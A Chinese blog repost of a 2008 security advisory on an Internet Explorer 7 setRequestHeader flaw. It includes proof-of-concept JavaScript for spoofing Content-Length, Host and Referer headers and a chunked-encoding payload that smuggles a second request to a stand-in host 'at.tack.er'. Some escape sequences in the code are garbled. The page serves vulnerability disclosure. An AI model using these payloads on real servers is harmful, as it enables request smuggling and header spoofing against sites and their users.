`
gui1401
  • 浏览: 49090 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论

MS IE 7 setRequestHeader() 请求拆分和渗透漏洞

    博客分类:
  • js
阅读更多

MS IE 7 setRequestHeader() 请求拆分和渗透漏洞 2008-03-28 16:25:22  www.hackbase.com  来源:互联网
受影响系统:Microsoft Internet Explorer 7.0.5730.11- Microsoft Windows XP SP2 描述:Internet Explorer是微软发布的非常流行的WEB浏览器。 IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Refe ...
受影响系统:
Microsoft Internet Explorer 7.0.5730.11
- Microsoft Windows XP SP2

描述:
Internet Explorer是微软发布的非常流行的WEB浏览器。

IE 7允许通过HTTP请求拆分攻击覆盖Content-Length、Host和Referer等HTTP头,导致HTTP头信息欺骗。

类似于以下javascript:

var x=new XMLHttpRequest();

x.open("POST","/");
for(f=127;f<255;f++)
try{
x.setRequestHeader("Host"+String.fromCharCode(f),"Test");
}catch(dd){}
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
    if (x.readyState == 4){
   }
}
x.send("blah");

会覆盖以下头:

- Content-Length
   x.setRequestHeader("Content-Length"+String.fromCharCode(201),"0");
   x.setRequestHeader("Content-Length"+String.fromCharCode(233),"0");
   x.setRequestHeader("Content-Length"+String.fromCharCode(240)+String.fromCharCode(213),"0");

- Host

   x.setRequestHeader("Host"+String.fromCharCode(223), "www.microsoft.com");

- Referer

   x.setRequestHeader("Referer"+String.fromCharCode(205)+String.fromCharCode(155),"http://www.referrer.tld");
   x.setRequestHeader("Referer"+String.fromCharCode(237)+String.fromCharCode(155),"http://www.referrer.tld");

Internet Explorer 7允许在setRequestHeader中设置Transfer Encoding: chunked头,导致Http请求拆分/渗透漏洞。

假设存在反射跨站脚本漏洞影响的站点与攻击者的站点托管在同一台主机上,且用户没有配置代理,由于IE7允许设置

setRequestHeader("Transfer-Encoding","chunked");

因此就允许将POST请求中的负载用作Web服务器的其他请求。例如:

var x=new XMLHttpRequest();

for(var i =0; i<1;i++){
x.open("POST","/");
x.setRequestHeader("Transfer-Encoding","chunked");

x.setRequestHeader("Proxy-Connection","keep-alive");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
    if (x.readyState == 4){
    }
}
try{
x.send("0/r/n/r/nPOST / HTTP/1.1/r/nHost:
at.tack.er/r/nContent-Length: SOMELENGTH/r/n/r/n")  }catch(r){} }

请求会变为:

POST / HTTP/1.1
Accept: */*
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67

0

POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest

这样Web服务器就会打开套接字等待负载。

厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

 


关键字:IE7 漏洞

本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2008-03-28/40369.html

分享到:
评论

相关推荐

    XMLHTTP中setRequestHeader参数问题

    ajax 请求头部设置 XMLHTTP中setRequestHeader参数问题

    jQuery在header中设置请求信息的方法

    jquery是js的类库,js本身不能操作header,因为js是在浏览器加载页面过程中才开始执行的header需要服务器端执行操作 如果是ajax,是可以设置header $.ajax({ url: "", ...如何在ajax请求中设置特殊的Requ

    WEB开发 之 AJAX - 向服务器发送请求.docx

    在AJAX中,我们可以使用GET请求和POST请求两种方式向服务器发送请求。GET请求适用于大部分情况下,但是当我们需要向服务器发送大量数据或更新服务器上的文件或数据库时,需要使用POST请求。 GET请求的特点是简单、...

    Ajax简介与基本使用

    所有现代浏览器(IE7+、Firefox、Chrome、Safari 以及 Opera)均内建 XMLHttpRequest 对象。创建XMLHttpRequest对象的语法: 向服务器发送请求 XMLHttpRequest对象用于和服务器交换数据。如需将请求发送到服务器,...

    ajax post方式表单提交setRequestHeader报错解决方法

    我们要设置异步对象的xhr.setRequestHeader成员的值为 XMLHttpRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);否则的话后台是不能接收到传过去的值的。因为在谷歌浏览器的...

    jquery 异步请求数据的三种方式

    x.setRequestHeader("Content-Type", "application/json; charset=utf-8"); }, error: function(x, e) { alert(x.responseText); }, complete: function(x) { alert(x.responseText); } }); });

    谈XMLHTTP对象(属性和方法)-VBA抓取网页数据[参考].pdf

    XMLHTTP 对象在 VBA 中抓取网页数据的应用 ...在 VBA 中,我们可以使用 XMLHTTP 对象来发送请求到 HTTP ...XMLHTTP 对象是 VBA 中抓取网页数据的强大工具,它可以帮助开发者快速地抓取网页数据、发送请求和接收回应。

    全面剖析Ajax的XMLHttpRequest对象.doc

    open() 方法用于指定请求的方法、URL 和是否异步发送请求。 2. send() 方法 send() 方法用于发送请求到服务器端。 3. setRequestHeader() 方法 setRequestHeader() 方法用于设置请求头部信息。 四、 ...

    jQuery资料.rar

    2:在XMLHttpRequest发送请求之前加上XMLHttpRequest.setRequestHeader("If-Modified-Since","0") 一般情况下,这里的XMLHttpRequest不会直接使用 你应该可以找到这样的代码 XXXXX.send(YYYYYY); 那么,就把它变成 ...

    解决JS请求服务器gbk文件乱码的问题

    JS获取服务器编码格式为gb2312的文件时内容为乱码,ajax网络请求内部使用的是XMLHttpRequest,所以在请求之前需要设置一下编码格式,但是设置xhr.setRequestHeader(“accept”, “text/csv;charset=gb2312,*/*”);...

    XMLHttpRequest手册

    压缩包“ajax.rar”内含:“《掌握...掌握 Ajax,第 7 部分: 在请求和响应中使用 XML(1) http://www.ibm.com/developerworks/cn/xml/wa-ajaxintro7.html ( 缺: 掌握 Ajax,第 8 部分:在请求和响应中使用 XML(2) ...

    深入理解Ajax的get和post请求

    1.get请求 function () { //向服务器请求 时间 //1.创建异步对象(小浏览器) var xhr = new XMLHttpRequest(); //2.设置参数,true表示使用异步模式 xhr.open("get", "GetTime.ashx?name= Mr靖", true); //...

    php获取不到自定义header参数原因详解

    详细分析php获取不到自定义header参数的原因,明确设置自定义header参数注意事项以及php获取自定义参数方法

    Ajax课件学习(免费)

    3.2.4发送请求的方法和属性介绍 利用XmlHttpRequest让客户端与服务器之间进行通信,包含以下3个关键部分: 1、onreadystatechange事件处理函数 2、open方法 3、send方法 3.2.4.1onreadystatechange方法 1、该事件...

    JAVA-用HttpClient来模拟浏览器GET,POST.docx

    在本文中,我们将介绍如何使用Apache Commons HttpClient库来模拟浏览器的GET和POST请求。HttpClient库是一个开放源码的项目,是Apache Commons项目的一部分,旨在简化HTTP客户端与服务器之间的通信编程。 首先,让...

    ajax的get请求时缓存处理解决方法

    本文实例讲述了ajax的get请求时缓存处理解决方法。分享给大家供大家参考。具体分析如下: 很多时候在Ajax的get方法调用的时候由于缓存的原因无法及时获取正确的数据,这里就来分析一下解决这一问题的方法: 1. 在url...

    XML轻松学习手册--XML肯定是未来的发展趋势,不论是网页设计师还是网络程序员,都应该及时学习和了解

    可是一大堆的概念和术语往往让人望而生畏,很多朋友问我:XML到底有什么用,我们是否需要学习它?我想就我个人学习过程的心得和经验,写一篇比较全面的介绍文章。首先有两点是需要肯定的:  第一:XML肯定是未来的...

    html5表单上传控件Files API

    xhr.setRequestHeader("Content-Type", "multipart/form-data"); xhr.setRequestHeader("X-File-Name", file.name); xhr.setRequestHeader("X-File-Size", file.size); xhr.setRequestHeader("X-File-Type", file....

    _探讨Ajax获取表单值向Servlet传递的设计方案.doc

    我们使用 open 方法设置请求的方法和 URL,并使用 setRequestHeader 方法设置 Content-Type 头部。最后,我们使用 send 方法发送请求体。 在回调函数中,我们判断 XMLHttpRequest 对象的状态是否已经交互完成,如果...

Global site tag (gtag.js) - Google Analytics